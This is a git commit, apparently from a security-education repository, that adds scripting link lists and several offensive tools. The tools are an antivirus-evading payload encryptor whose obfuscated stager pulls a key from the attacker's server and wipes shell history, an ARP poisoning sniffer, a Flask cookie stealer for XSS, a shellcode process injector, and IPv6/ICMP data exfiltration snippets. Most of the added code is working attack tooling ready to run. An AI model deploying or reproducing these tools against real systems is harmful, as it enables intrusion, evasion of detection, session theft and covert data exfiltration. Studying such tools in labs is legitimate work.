updating programming and scripting references

This commit is contained in:
Omar Santos 2021-07-17 11:10:25 -04:00
parent e0523b9547
commit 8ce1d65785
20 changed files with 0 additions and 0 deletions

View file

@ -0,0 +1,5 @@
# :octocat: Python, Bash, Shell Awesome Lists
- [Additional hacking resources for beginners](https://github.com/Amanchouhan192/Awesome-Hacking)
- [Awesome Python](https://github.com/vinta/awesome-python)
- [Awesome Bash](https://github.com/awesome-lists/awesome-bash)
- [Awesome Shell](https://github.com/alebcay/awesome-shell)

View file

@ -0,0 +1,14 @@
# Python-related References
One of the most comprehensive lists of Python-related resources is:
https://github.com/vinta/awesome-python
## PySec
* https://github.com/ebranca/owasp-pysec
A hardened version of python created by the folks from OWASP. It makes it easier for security professionals and developers to write applications more resilient to attacks and manipulations.
## Anaconda
* https://www.anaconda.com/download/
Anaconda is a free and open source distribution of the Python and R programming languages for data science and machine learning related applications.

View file

@ -0,0 +1,258 @@
#!/bin/bash
# based on the work by @tokyoneon_
# Armor relies on LibreSSL to encrypt the input file and create the SSL certificate.
# If LibreSSL isn't found in your system, Armor will attempt to install it.
# Variables for colorful terminal output.
R="\033[1;31m"
Y="\033[1;33m"
G="\033[1;32m"
N="\033[0;39m"
clear
# The script name, taken from the input file; first arg.
sN="$(echo "$1" | sed 's/.*\///')"
# Random 4-digit string appended to the filename to prevent clobbering
# previous iterations of the same input file and to avoid enumation attempts
# by anyone crawling the attackers server to locate the master key. To increase
# the length of the random string, change "2" to "5" or "10".
fnRand="$(openssl rand -hex 2)"
# The script name and random string are combined to create the filename
# for most of the generated files.
inFile="$sN"_"$fnRand"
# When generating self-signed SSL certificates, a Common Name (domain name)
# is required. This value could've been static, but I decided to have
# each certificate contain a unique Common Name. Actually, when the master
# key is fetched from the attacker's server, the Common Name is ignored.
# This is just a formality.
cnRand="$(openssl rand -hex 4)"
# A random string is inserted into the encoded stager to make the base64
# string appear different every time. This is done to obfuscate the string
# and (hopefully) make it less identifiable to antivirus software.
junk="$(openssl rand -hex 12)"
# The attacker's IP address is converted into a hexidecimal string. There's
# no real reason for this, it's easily reverse engineered back an IPv4
# address. Still, in the spirit of overkill obfuscation, this felt appropriate.
aH="0x$(printf '%02X' $(echo ${2//./ }))"
# The attacker's desired port number. This port number is used by the
# target device to fetch the master key and decrypt the payload. Be careful
# not to use your Metasploit or Netcat listening port here.
aP="$3"
# A variable created to identify the working directory. This variable is
# used in several functions.
dir="$(pwd -P)"
# The below three functions are used to print messages in the script. They
# use the previously defined color variables to print messages, instructions,
# and errors.
function msg () {
echo -e "$G [+] $N $1"
}
function msg_instruct () {
echo -e "$Y \n [!] $1\n $N"
}
function msg_fatal () {
echo -e "$R \n [ERROR] $1\n $N"
exit 0
}
# OS detection for below ascii_art function. Base64 "-D" for macOS, "-d" for
# Debian/Ubuntu. Other operating systems are untested.
function os_detect () {
case "$(uname -s)" in
Darwin)
osDetect='-D'
;;
Linux)
osDetect='-d'
;;
*)
msg_fatal "OS detection failed. Comment out the os_detect and ascii_art functions to force continue."
;;
esac
}
os_detect
# The "armor" and panther ascii art are encoded; easier than escaping
# special characters. Comment out the ascii_art function to suppress the
# logo. It's gimmicky, I know.
function ascii_art () {
echo -e "$R" "$(echo 'CgoKCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLi4sY284b2Mub284ODg4Y2MsLi4KCSAg
ICBvOG8uICAgICAgICAgICAgICAgIC4uLG84ODk2ODlvb284ODhvIjg4ODg4ODg4b29vYy4uCgkg
IC44ODg4ICAgICAgICAgICAgICAgLm84ODg4Njg4OCIuODg4ODg4ODhvJz84ODg4ODg4ODg4ODlv
b28uLi4uCgkgIGE4OFAgICAgICAgICAgICAuLmM2ODg4NjkiIi4uLCJvODg4ODg4ODg4by4/ODg4
ODg4ODg4OCIiLm9vbzg4ODhvby4KCSAgMDg4UCAgICAgICAgIC4uYXRjODg4OSIiLixvbzhvLjg2
ODg4ODg4ODg4byA4ODk4ODg4OSIsbzg4ODg4ODg4ODg4OC4KCSAgODg4dCAgLi4uY29vNjg4ODg5
Iicub29vODhvODhiLic4Njk4ODk4ODg4OSA4Njg4ODg4J284ODg4ODk2OTg5Xjg4OG8KCSAgIDg4
ODg4ODg4ODg4OCIuLm9vbzg4ODk2ODg4ODg4ICAgIjlvNjg4ODg4JyAiODg4OTg4IDg4ODg4Njg4
ODgnbzg4ODg4CiAgICAgICAgICAgIiJHODg4OSIiJ29vbzg4ODg4ODg4ODg4ODg5ICAgLmQ4bzk4
ODkiIicgICAiODY4OG8uIjg4ODg4OTg4Im84ODg4ODhvIC4KCQkgICAgbzg4ODgnIiIiIiIiIiIi
JyAgICAgbzg2ODgiICAgICAgICAgIDg4ODY4LiA4ODg4ODguNjg5ODg4ODgibzhvLiAKCQkgICAg
ODg4ODhvLiAgICAgICAgICAgICAgIjg4ODhvb28uICAgICAgICAnODg4OC4gODg4ODguODg5ODg4
OG8iODg4by4uCgkgICAgICAgICAgICI4ODg4bCAnICAgICAgICAgICAgICAgIjg4ODg4OCcgICAg
ICAgICAgJyIiOG8iODg4OC44ODY5ODg4b284ODg4byAKICAgICAuOy4gICAgICAuOzs7OzssLiAg
ICAgLCcgICAgICAgLCwgICAgIC4sOywnICAgICAgOzs7OzssLiAgOi4iODg4OCAiODg4ODg4ODg4
Xjg4bwogICAgIE9NMCAgICAgIHhXbDo6Y29LMC4gIC5XTSwgICAgIDtNVyAgICxLT2xjY3hYZCAg
ICdNazo6Y2xrWGMgLi44ODg4LC4gIjg4ODg4ODg4ODg4LgogICAgLldYTS4gICAgIHhXICAgICAg
SzAgIC5XTUsgICAgIEtNVyAgIE5rICAgICA7TTogICdNOiAgICAgbE0nOm84ODgubzhvLiAgIjg2
Nm85ODg4bwogICAgbE4uWG8gICAgIHhXICAgICAgT0sgIC5XS1djICAgbFdLVyAgLldkICAgICAu
TWwgICdNOiAgICAgO00sOjg4OC5vODg4OC4gICI4OC4iODkiLgogICAgMGsgZFggICAgIHhXICAg
ICAgT0sgIC5Xb2RYLiAuTm9kVyAgLldkICAgICAuTWwgICdNOiAgICAgO00sIDg5ICA4ODg4ODgg
ICAgIjg4IjouCiAgICdNOyAnTSwgICAgeFcgICAgICBLTyAgLldvLk5vIGRYIGRXICAuV2QgICAg
IC5NbCAgJ006ICAgICBvTS4gICAgICc4ODg4bwogICBvTiAgIEt4ICAgIHhXLmNjY29LTy4gIC5X
byBjV2xXOiBkVyAgLldkICAgICAuTWwgICdNYztjY2xrWGMgICAgICAgIjg4ODguLgogICBYZCAg
IG9OLiAgIHhXIHhXYycuICAgIC5XbyAgS00wICBkVyAgLldkICAgICAuTWwgICdNOixXTycuICAg
ICAgICAgIDg4ODg4OG8uCiAgO01jLi4uOk1jICAgeFcgIDBLLiAgICAgLldvICAsVycgIGRXICAu
V2QgICAgIC5NbCAgJ006IGNXOiAgICAgICAgICAgICI4ODg4ODksCiAgT1hsbGxsbEtLICAgeFcg
IC5LTyAgICAgLldvICAgJyAgIGRXICAuV2QgICAgIC5NbCAgJ006ICBvTicgICAgICAgLiA6IDou
Ojo6Oi46IDouCiAuTW8gICAgIGNNLCAgeFcgICAuWGQgICAgLldvICAgICAgIGRXICAuV2QgICAg
IC5NbCAgJ006ICAgZFguICAgY3JlYXRlZCBieSBAdG9reW9uZW9uXwogb1cuICAgICAuV2QgIHhX
ICAgICdXOiAgIC5XbyAgICAgICBkVyAgIFhPICAgICA6TTsgICdNOiAgICAwTyAgIAogS08gICAg
ICAgeE4gIHhXICAgICA6TiwgIC5XbyAgICAgICBkVyAgIC5PMHhvZE8wYyAgICdNOiAgICAuWGsg
IAogCgoKCgoKCgoKCgoKCg==' | base64 "$osDetect")"$N""
}
ascii_art
# The version of OpenSSL found in Debian/Kali isn't compatible with macOS' LibreSSL.
# Payloads encrypted in Kali will not be decryptable by the target MacBook.
# As a workaround, OpenSSL in Ubuntu was tested and is compatible with LibreSSL
# in macOS. Alternatively, allow the armor script to attempt to install LibreSSL.
# https://linuxg.net/how-to-install-libressl-2-1-6-on-linux-systems/
# https://github.com/libressl-portable/portable
function libressl_install () {
if [[ ! -f /usr/bin/make ]]; then
msg_fatal "make: command not found. Install with: sudo apt-get install build-essential"
fi
wget 'https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-2.8.2.tar.gz' &&\
tar -xzvf libressl-2.8.2.tar.gz libressl-2.8.2/ &&\
cd libressl-2.8.2/ &&\
./configure &&\
make &&\
sudo make install &&\
sudo ldconfig &&\
if [[ "$(/usr/local/bin/openssl version -v | awk '{print $1}')" = 'LibreSSL' ]]; then
msg "It appears LibreSSL was installed successfully."
else
msg_fatal "Unknown issue while installing LibreSSL."
fi
}
# Verifies LibreSSL compatibility or tries to install it.
function openssl_check () {
if [[ $(/usr/bin/openssl version -v | awk '{print $1}') = 'LibreSSL' ]]; then
opensslPath='/usr/bin/openssl'
elif [[ $(/usr/local/bin/openssl version -v | awk '{print $1}') = 'LibreSSL' ]]; then
opensslPath='/usr/local/bin/openssl'
else
msg_instruct "LibreSSL version detection failed. MacOS uses LibreSSL and will not be able to decrypt payloads made in Debian/Kali (e.g., OpenSSL 1.1.0h). Attempt to install LibreSSL? y/N"
read libreInstall
if [[ "$libreInstall" = 'y' ]]; then
libressl_install
exit 0
else
exit 0
fi
fi
}
# The master key used to encrypt the payload is generated.
function mk_key () {
"$opensslPath" rand -hex 512 > "$inFile".key &&\
msg "Generated encryption key: "$dir"/"$inFile".key" ||\
msg_fatal "Failed to create the master key."
}
# The payload is encrypted and encoded. Encrypted to evade antivirus, encoded
# to make transporting it easier.
function crypt_payload () {
"$opensslPath" enc -aes-256-cbc -a -A -in "$1" -pass file:"$inFile".key -out "$inFile".enc &&\
msg "Encrypted payload: "$dir"/"$inFile".enc" ||\
msg_fatal "Failed to encrypt the payload. Check the file path and filename."
}
# The self-signed SSL certificate for Ncat is generated. Encrypting the
# transmission of the master key is important. If DPI is taking place at
# the time of the attack, it would be possible for an incident response
# team to reconstruct the master key using the raw TCP data.
function mk_ssl () {
"$opensslPath" req -new -newkey rsa:4096 -x509 -sha256 -days 30 -nodes -subj '/CN='"$cnRand"'' \
-out "$inFile".crt -keyout "$inFile"_ssl.key >/dev/null 2>&1 &&\
msg "Generated SSL certificate: "$dir"/"$inFile".crt" ||\
msg_fatal "Unknown error."
msg "Generated SSL key: "$dir"/"$inFile"_ssl.key"
}
# The suggested stager command is printed. This can be embedded into an
# AppleScript or used with a USB Rubber Ducky. The `history -c` command is
# appened to the stager to prevent it from being saved to the target's
# Terminal history. This, believe it or not, also helps with evading antivirus
# software.
function mk_stager () {
stager=""$junk">/dev/null 2>&1; openssl enc -d -aes-256-cbc \
-in <(printf '%s' '$(cat "$inFile".enc)' | base64 -D) \
-pass file:<(curl -s --insecure https://"$aH":"$aP")"
echo -e "bash -c \"\$(bash -c \"\$(printf '%s' '$(printf '%s' "$stager" | base64)' | base64 -D)\")\";history -c" > "$dir"/"$inFile"_stager.txt &&\
msg "Saved stager: "$dir"/"$inFile"_stager.txt"
msg_instruct "Execute the below stager in the target MacBook:"
cat "$dir"/"$inFile"_stager.txt
}
# The suggested Ncat listener command is printed. Ncat works well because
# the listener automatically terminates after just one established connection.
# If the stager is reverse engineered, it would be possible to discover
# the attacker's IP address and the location of the master key, but at that
# point, the key will no longer be accessible to the internet (or local network).
function ncat_listener () {
msg_instruct "Start Ncat listener with:"
echo -e "$1"
}
# Attempts to start the Ncat listener for you.
function start_ncat () {
ncatListener="ncat -v --ssl --ssl-cert $dir/$inFile.crt \
--ssl-key $dir/$inFile\_ssl.key \
-l -p $aP < $dir/$inFile.key"
if [[ ! -f /usr/local/bin/ncat ]] && [[ ! -f /usr/bin/ncat ]]; then
msg_fatal "Ncat not found. Install Nmap: https://nmap.org/book/install.html"
fi
msg_instruct "Start the Ncat listener now? y/N "
read answer
if [[ "$answer" = 'y' ]]; then
clear
msg "Ncat active for stager: "$inFile"..."
eval "$ncatListener"
else
ncat_listener "$ncatListener"
fi
}
# Some minor input validation. If the input file, attacker's IP address,
# and port number are not included, the script exits.
if [[ ! $3 ]]; then
msg_fatal "Missing args. Use the below command:"$N"\n\n$ ./armor.sh /path/to/payload 192.168.1.2 8080"
else
# Checks to make sure the input file actually exists.
if [[ ! -f "$1" ]]; then
msg_fatal "Payload not found. Check file path and filename."
fi
fi
# Executes all of the above functions in order.
openssl_check
mk_key
crypt_payload "$1"
mk_ssl
mk_stager
start_ncat

View file

@ -0,0 +1,86 @@
#!/usr/bin/env python3
# Example script to perform an ARP cache poisoning attack using SCAPY
# v: 0.1
# Omar Santos @santosomar
from scapy.all import *
import os
import signal
import sys
import threading
import time
#network and interface parameters
gateway_ip = "192.168.78.1"
target_ip = "192.168.78.123"
packet_count = 1000
conf.iface = "en0"
conf.verb = 0
# Once given an IP address, it will try to find a MAC address.
def get_mac(ip_address):
#An alternate method is using Layer 2: resp, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=ip_address))
resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2, timeout=10)
for s,r in resp:
return r[ARP].hwsrc
return None
#Restore the network by reversing the ARP poison attack. Broadcast ARP Reply with
def restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), count=5)
send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), count=5)
print("[*] Disabling IP forwarding")
#Disable IP Forwarding on a mac
os.system("sysctl -w net.inet.ip.forwarding=0")
#kill process on a mac
os.kill(os.getpid(), signal.SIGTERM)
def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac):
print("[*] Started ARP poison attack [CTRL-C to stop]")
try:
while True:
send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip))
send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip))
time.sleep(2)
except KeyboardInterrupt:
print("[*] Stopped ARP poison attack. Restoring network")
restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
print("[*] Starting arp_cache_poisoner")
print("[*] Enabling IP forwarding")
os.system("sysctl -w net.inet.ip.forwarding=1")
print(f"[*] Gateway IP address: {gateway_ip}")
print(f"[*] Target IP address: {target_ip}")
gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
print("[!] Unable to get gateway MAC address. Exiting..")
sys.exit(0)
else:
print(f"[*] Gateway MAC address: {gateway_mac}")
target_mac = get_mac(target_ip)
if target_mac is None:
print("[!] Unable to get target MAC address. Exiting..")
sys.exit(0)
else:
print(f"[*] Target MAC address: {target_mac}")
#ARP poison thread
poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()
#Collect packet captures and save it to a file
try:
sniff_filter = "ip host " + target_ip
print(f"[*] Starting network capture. Packet Count: {packet_count}. Filter: {sniff_filter}")
packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count)
wrpcap(target_ip + "_capture.pcap", packets)
print(f"[*] Stopping network capture..Restoring network")
restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
except KeyboardInterrupt:
print(f"[*] Stopping network capture..Restoring network")
restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
sys.exit(0)

View file

@ -0,0 +1,112 @@
## Books and Resources
- [The Bash-Hackers Wiki](http://wiki.bash-hackers.org/doku.php) - Human-readable documentation of any kind about GNU Bash
- [Bash beginner's mistakes](http://wiki.bash-hackers.org/scripting/newbie_traps) (by the Bash-Hackers Wiki)
- [Bash Guide](http://mywiki.wooledge.org/BashGuide) - A bash guide for beginners. (by Lhunath)
- [Bash FAQ](http://mywiki.wooledge.org/BashFAQ) - Answers most of your questions (by Lhunath)
- [Bash Pitfalls](http://mywiki.wooledge.org/BashPitfalls) - Lists the common pitfalls beginners fall into, and how to avoid them
- [Bash manual](http://www.gnu.org/software/bash/manual/) - Bourne-Again SHell manual
- [Bash FAQ](http://tiswww.case.edu/php/chet/bash/FAQ) (by [Chet Ramey](http://tiswww.case.edu/php/chet/))
- [Advanced Bash-Scripting Guide](http://tldp.org/LDP/abs/html/) - An in-depth exploration of the art of shell scripting
- [Bash Guide for Beginners](http://www.tldp.org/LDP/Bash-Beginners-Guide/html/) (by Machtelt Garrels)
- [Bash Programming - Intro/How-to](http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html#toc)
- [bash-handbook](https://github.com/denysdovhan/bash-handbook) - A handbook for those who want to learn Bash without diving in too deeply
- [Google's Shell Style Guide](https://google.github.io/styleguide/shell.xml) - Reasonable advice about code style
- [Sobell's Book](http://www.sobell.com/CR3/index.html) - A practical guide to commands, editors, and shell programming
- [WikiBooks: Bash Shell Scripting](https://en.wikibooks.org/wiki/Bash_Shell_Scripting)
- [Use the Unofficial Bash Strict Mode (Unless You Looove Debugging)](http://redsymbol.net/articles/unofficial-bash-strict-mode/)
- [learnyoubash](https://github.com/denysdovhan/learnyoubash) - An interactive workshopper which will learn you how to use the terminal and write your the first Bash script.
- [Defensive BASH Programming](http://www.kfirlavi.com/blog/2012/11/14/defensive-bash-programming/) - Methods to defend your programs from breaking as well as keeping the code tidy and clean.
- [Pure Bash Bible](https://github.com/dylanaraps/pure-bash-bible) - A collection of pure bash alternatives to external processes.
## Command-Line Productivity
- [aliases](https://github.com/sebglazebrook/aliases) - Contextual, dynamic, organized aliases for the bash shell
- [bashhub](https://github.com/rcaloras/bashhub-client) - :cloud: Bash history in the cloud. Indexed and searchable.
- [bashhub-server](https://github.com/nicksherron/bashhub-server) - Private cloud shell history. Open source server for bashhub.
- [bashmarks](https://github.com/huyng/bashmarks) - Directory bookmarks for the shell
- [commacd](https://github.com/shyiko/commacd) - A faster way to move around in Bash
- [has](https://github.com/kdabir/has) - `has` helps you check presence of various command line tools and their versions on path
- [hstr](https://github.com/dvorka/hstr) - Bash History Suggest Box
- [qfc](https://github.com/pindexis/qfc) - File-completion widget for Bash and Zsh
- [sshrc](https://github.com/Russell91/sshrc) - Bring your .bashrc, .vimrc, etc. with you when you SSH
## Customization
- [bash-git-prompt](https://github.com/magicmonty/bash-git-prompt) - An informative and fancy Bash prompt for Git users
- [bash-powerline](https://github.com/riobard/bash-powerline) - Powerline-style Bash prompt in pure Bash script
- [bashstrap](https://github.com/barryclark/bashstrap) - A quick way to spruce up OSX terminal
- [git-prompt](https://github.com/lvv/git-prompt) - Bash prompt with Git, SVN and HG modules
- [gittify](https://github.com/momeni/gittify) - A colorful Bash prompt + customized Git aliases
- [liquidprompt](https://github.com/nojhan/liquidprompt) - A full-featured & carefully designed adaptive prompt for Bash & Zsh
- [mysql-colorize](https://github.com/horosgrisa/mysql-colorize.bash) - Colorization for mysql comand-line client
- [oh-my-git](https://github.com/arialdomartini/oh-my-git) - An opinionated git prompt for bash and zsh
- [progress-bar.sh](https://github.com/edouard-lopez/progress-bar.sh) - Simple & sexy progressbar for `bash`, give it a duration and it will do the rest ![progress-bar.sh in action](http://pix.toile-libre.org/upload/original/1476311497.gif).
- [sexy-bash-prompt](https://github.com/twolfson/sexy-bash-prompt) - Bash prompt with colors, Git statuses, and Git branches
- [bash-sensible](https://github.com/mrzool/bash-sensible) - An attempt at saner Bash defaults
## Data
- [BigBash](https://github.com/zalando/bigbash) - Open-source converter that generates a bash one-liner from an SQL Select query, no database necessary
## Parsing Logs using Bash
- [Ultimate Guide to Logging and Bash Data Manipulation](https://www.loggly.com/ultimate-guide/analyzing-linux-logs/)
- [Using Grep & Regular Expressions to Search for Text Patterns in Linux](https://www.digitalocean.com/community/tutorials/using-grep-regular-expressions-to-search-for-text-patterns-in-linux#regular-expressions)
## For Developers
- [bocker](https://github.com/p8952/bocker) - Docker implemented in 100 lines of bash
- [git-sh](https://github.com/rtomayko/git-sh) - A customized Bash environment suitable for Git work
## Downloading and Serving
- [balls](https://github.com/jneen/balls) - Bash on Balls
- [bashttpd](https://github.com/avleen/bashttpd) - A web server written in Bash
- [Dropbox-Uploader](https://github.com/andreafabrizi/Dropbox-Uploader) - Dropbox Uploader is a Bash script which can be used to upload, download, list or delete files from Dropbox
- [ngincat](https://github.com/jaburns/ngincat) - Tiny Bash HTTP server using netcat
- [xiringuito](https://github.com/ivanilves/xiringuito) - SSH-based VPN for poors
## Applications
- [bashblog](https://github.com/cfenollosa/bashblog) - A Bash script that handles blog posting
- [pushbullet-bash](https://github.com/Red5d/pushbullet-bash) - Bash interface to the PushBullet API
- [todo.sh](https://github.com/todotxt/todo.txt-cli) - A simple and extensible shell script for managing your todo.txt file
- [cheapci](https://github.com/ianmiell/cheapci) - A continuous integration framework implemented in bash
## Games
- [bash2048](https://github.com/mydzor/bash2048) - Bash implementation of 2048 game
- [minesweeper](https://github.com/feherke/Bash-script/tree/master/minesweeper) - Bash implementation of minesweeper
- [solitaire](https://opensource-usability.blogspot.com/2016/10/solitaire-in-bash-script.html) - Bash implementation of solitaire
## Website
- [Bash One-Liners](http://www.bashoneliners.com/) - A collection of practical or just pure awesome bash one-liners ([repos](https://github.com/janosgyerik/bashoneliners) by @[janosgyerik](https://github.com/janosgyerik))
- [commandlinefu](http://www.commandlinefu.com/) - A repository for the most elegant and useful UNIX commands
## Shell Package Management
- [bash-it](https://github.com/Bash-it/bash-it) - A community Bash framework
- [basher](https://github.com/basherpm/basher) - A package manager for shell scripts
- [bpkg](https://github.com/bpkg/bpkg) - A lightweight bash package manager
- [homeshick](https://github.com/andsens/homeshick) - Git dotfile synchronizer written in Bash
## Shell Script Development
- [ansi](https://github.com/fidian/ansi) - ANSI escape codes in pure bash - change text color, position the cursor, much more
- [argbash](https://github.com/matejak/argbash) - Bash argument parsing code generator
- [assert.sh](https://github.com/lehmannro/assert.sh) - Bash unit testing framework
- [BashScriptTestingLibrary](https://github.com/rafritts/BashScriptTestingLibrary) - A unit testing framework for Bash scripts
- [bash3boilerplate](https://github.com/kvz/bash3boilerplate) - Templates to write better Bash scripts
- [bashful](https://github.com/jmcantrell/bashful) - A collection of libraries to simplify writing Bash scripts
- [bashmanager](https://github.com/lingtalfi/bashmanager) - mini bash framework for creating command line tools
- [bats](https://github.com/sstephenson/bats) - Bash Automated Testing System
- [bash_unit](https://github.com/pgrange/bash_unit) - bash unit testing enterprise edition framework for professionals
- [mo](https://github.com/tests-always-included/mo) - Mustache templates in pure bash
- [semver_bash](https://github.com/cloudflare/semver_bash) - Semantic Versioning in Bash
- [shfmt](https://github.com/mvdan/sh) - Format bash programs
- [shunit2](https://github.com/kward/shunit2) - A unit test framework for Bash scripts with a flavour of JUnit/PyUnit
- [bashing](https://github.com/xsc/bashing) - Smashing Bash into Pieces - Bash framework for creating command line tools
- [shellcheck](https://github.com/koalaman/shellcheck) - ShellCheck, a static analysis tool for shell scripts

View file

@ -0,0 +1,31 @@
#!/usr/bin/env python3
# This is a fairly basic Flask app / script to steal cookies
# It can be used as a cookie-stealer for XSS and CSRF attacks
# This is available by default in WebSploit Labs (websploit.org)
# Make sure that you have flask, requests, and redirect installed
# pip3 install flask, requests, redirect
from flask import Flask, request, redirect
from datetime import datetime
# Creating the instance for the Flask app
app = Flask(__name__)
#The following is the root directory of our web app
@app.route('/')
#Let's now create a function to steal the cookie and write it to a file "cookies.txt"
def cookie():
cookie = request.args.get('c')
f = open("cookies.txt","a")
f.write(cookie + ' ' + str(datetime.now()) + '\n')
f.close()
# redirecting the user back to the vulnerable application
# change the URL to whatever application you are leveraging
return redirect("http://127.0.0.1:9003")
# you can change the port below to whatever you want to listen it
if __name__ == "__main__":
app.run(host = '0.0.0.0', port=1337)

View file

@ -0,0 +1,65 @@
#!/usr/bin/env python3
# An example example of reflective DLL injection
import sys
from ctypes import *
from win32com.client import GetObject
if len(sys.argv) < 2:
print "Python code injector: ./" + sys.argv[0] + " <process to inject>"
sys.exit(0)
proc = sys.argv[1]
WMI = GetObject('winmgmts:')
p = WMI.ExecQuery('select * from Win32_Process where Name="%s"' %(proc))
if len(p) == 0:
print "Process " + proc + " not found, exiting!"
sys.exit(0)
process_id = p[0].Properties_('ProcessId').Value
shellcode = \
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" \
"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" \
"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" \
"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" \
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" \
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" \
"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" \
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" \
"\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" \
"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" \
"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" \
"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" \
"\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56" \
"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24" \
"\x52\xe8\x5f\xff\xff\xff\x68\x58\x20\x20\x20\x68\x20\x50" \
"\x4f\x43\x68\x63\x74\x6f\x72\x68\x49\x6e\x6a\x65\x68\x6f" \
"\x64\x65\x20\x68\x6f\x6e\x20\x43\x68\x50\x79\x74\x68\x31" \
"\xdb\x88\x5c\x24\x18\x89\xe3\x68\x72\x67\x58\x20\x68\x6e" \
"\x61\x2e\x6f\x68\x6f\x72\x74\x75\x68\x72\x65\x61\x66\x68" \
"\x2e\x61\x6e\x64\x68\x2f\x77\x77\x77\x68\x70\x73\x3a\x2f" \
"\x68\x20\x68\x74\x74\x68\x72\x67\x20\x2d\x68\x6e\x61\x2e" \
"\x6f\x68\x6f\x72\x74\x75\x68\x72\x65\x61\x66\x68\x40\x61" \
"\x6e\x64\x68\x64\x72\x65\x61\x68\x2d\x20\x61\x6e\x68\x75" \
"\x6e\x61\x20\x68\x46\x6f\x72\x74\x68\x72\x65\x61\x20\x68" \
"\x20\x41\x6e\x64\x68\x64\x20\x62\x79\x68\x6c\x6f\x70\x65" \
"\x68\x64\x65\x76\x65\x68\x64\x6c\x79\x20\x68\x50\x72\x6f" \
"\x75\x31\xc9\x88\x4c\x24\x5e\x89\xe1\x31\xd2\x52\x53\x51" \
"\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
process_handle = windll.kernel32.OpenProcess(0x1F0FFF, False, process_id)
if not process_handle:
print "Couldn't acquire a handle to PID: %s" % process_id
sys.exit(0)
memory_allocation_variable = windll.kernel32.VirtualAllocEx(process_handle, 0, len(shellcode), 0x00001000, 0x40)
windll.kernel32.WriteProcessMemory(process_handle, memory_allocation_variable, shellcode, len(shellcode), 0)
if not windll.kernel32.CreateRemoteThread(process_handle, None, 0, memory_allocation_variable, 0, 0, 0):
print "Failed to inject shellcode. Exiting."
sys.exit(0)
print "Remote thread created!"

View file

@ -0,0 +1,56 @@
# Example of Exfiltration over IPv6 Using Scapy
Libraries like scapy for Python make it easier for developers to interact with networking abstractions at a higher level.
For example, with only two lines of code we are able to send a crafted packet to an IPv6 endpoint:
```
from scapy.all import IPv6,Raw,send
send(IPv6(dst="XXXX:XXX:X:1663:7a8a:20ff:fe43:93d4")/Raw(load="sensitive_info"))
```
And sniffing on the other endpoint we can see the packet reaching its destination with the extra raw layer where we included the test string:
```
# tcpdump -s0 -l -X -i eth0 'ip6 and not icmp6'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
23:47:15.996483 IP6 XXXX:XXX:X:1663::1ce > XXXX:XXX:X:1662:7a8a:20ff:fe43:93d4: no next header
0x0000: 6000 0000 0004 3b3e XXXX XXXX XXXX 1663 `.....;>.......c
0x0010: 0000 0000 0000 01ce XXXX XXXX XXXX 1662 ...............b
0x0020: 7a8a 20ff fe43 93d4 7465 7374 0000 z....C..sensitive_info..
```
Another example:
```
from scapy.all import IPv6,ICMPv6EchoRequest,send
import sys
secret = "THISISASECRET" # hidden info stored in the packet
endpoint = sys.argv[1] # addr where are we sending the data
# taken from a random ping6 packet
# 0x0030: 1e38 2c5f 0000 0000 4434 0100 0000 0000 .8,_....D4......
# 0x0040: 1011 1213 1415 1617 1819 1a1b 1c1d 1e1f ................
# 0x0050: 2021 2223 2425 2627 2829 2a2b 2c2d 2e2f .!"#$%&'()*+,-./
# 0x0060: 3031 3233 3435 3637 01234567
data = "\x1e\x38\x2c\x5f\x00\x00\x00\x00\x44\x34\x01\x00\x00\x00\x00\x00" \
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" \
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" \
"\x30\x31\x32\x33\x34\x35\x36\x37"
def sendpkt(d):
if len(d) == 2:
seq = (ord(d[0])<<8) + ord(d[1])
else:
seq = ord(d)
send(IPv6(dst=endpoint)/ICMPv6EchoRequest(id=0x1337,seq=seq, data=data))
# encrypt data with key 0x17
